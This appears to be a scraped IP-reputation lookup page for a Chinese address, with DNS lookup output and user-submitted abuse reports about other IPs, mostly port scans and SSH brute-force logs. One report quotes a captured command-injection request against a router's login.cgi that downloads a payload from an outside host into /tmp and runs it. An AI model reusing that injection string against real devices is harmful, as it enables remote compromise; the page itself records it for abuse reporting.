Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: China

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 121.12.140.54
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 63507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;121.12.140.54.			IN	A

;; AUTHORITY SECTION:
.			311	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022030800 1800 900 604800 86400

;; Query time: 151 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Mar 08 19:56:29 CST 2022
;; MSG SIZE  rcvd: 106
Host info
Host 54.140.12.121.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 54.140.12.121.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
24.80.184.210 attackspam
 TCP (SYN) 24.80.184.210:56083 -> port 23, len 44
2020-08-13 01:26:11
66.78.56.58 attack
Fail2Ban Ban Triggered
HTTP SQL Injection Attempt
2020-08-13 01:00:20
190.221.77.66 attackbotsspam
 TCP (SYN) 190.221.77.66:50808 -> port 445, len 48
2020-08-13 01:29:59
178.137.187.25 attackbotsspam
 TCP (SYN) 178.137.187.25:52381 -> port 445, len 52
2020-08-13 01:13:20
106.52.133.87 attackbots
Aug 12 17:49:16 buvik sshd[30206]: Failed password for root from 106.52.133.87 port 43088 ssh2
Aug 12 17:55:07 buvik sshd[31209]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.52.133.87  user=root
Aug 12 17:55:09 buvik sshd[31209]: Failed password for root from 106.52.133.87 port 44288 ssh2
...
2020-08-13 01:06:07
13.82.131.9 attack
SS1,DEF GET /login.cgi?cli=aa%20aa%27;wget%20http://185.172.110.185/dlink%20-O%20-%3E%20/tmp/jno;chmod%20777%20/tmp/jno;sh%20/tmp/jno%27$
2020-08-13 01:27:04
103.216.216.115 attackbotsspam
 TCP (SYN) 103.216.216.115:56247 -> port 1433, len 40
2020-08-13 01:39:52
114.29.105.13 attack
 TCP (SYN) 114.29.105.13:42961 -> port 81, len 44
2020-08-13 01:17:57
95.54.39.74 attack
 TCP (SYN) 95.54.39.74:52872 -> port 445, len 52
2020-08-13 01:19:34
80.82.70.118 attackspam
Unauthorized connection attempt detected from IP address 80.82.70.118 to port 1723 [T]
2020-08-13 01:22:32
209.17.96.194 attackbots
IP: 209.17.96.194
Ports affected
    HTTP protocol over TLS/SSL (443) 
Abuse Confidence rating 100%
Found in DNSBL('s)
ASN Details
   AS174 COGENT-174
   United States (US)
   CIDR 209.17.96.0/20
Log Date: 12/08/2020 2:45:54 PM UTC
2020-08-13 01:28:36
176.236.42.218 attackbotsspam
 TCP (SYN) 176.236.42.218:64896 -> port 1433, len 52
2020-08-13 01:32:30
185.53.79.210 attackspambots
 TCP (SYN) 185.53.79.210:46800 -> port 445, len 52
2020-08-13 01:31:49
189.235.49.124 attack
 TCP (SYN) 189.235.49.124:59796 -> port 445, len 52
2020-08-13 01:10:38
105.96.57.44 attackbots
 TCP (SYN) 105.96.57.44:64831 -> port 445, len 52
2020-08-13 01:18:35

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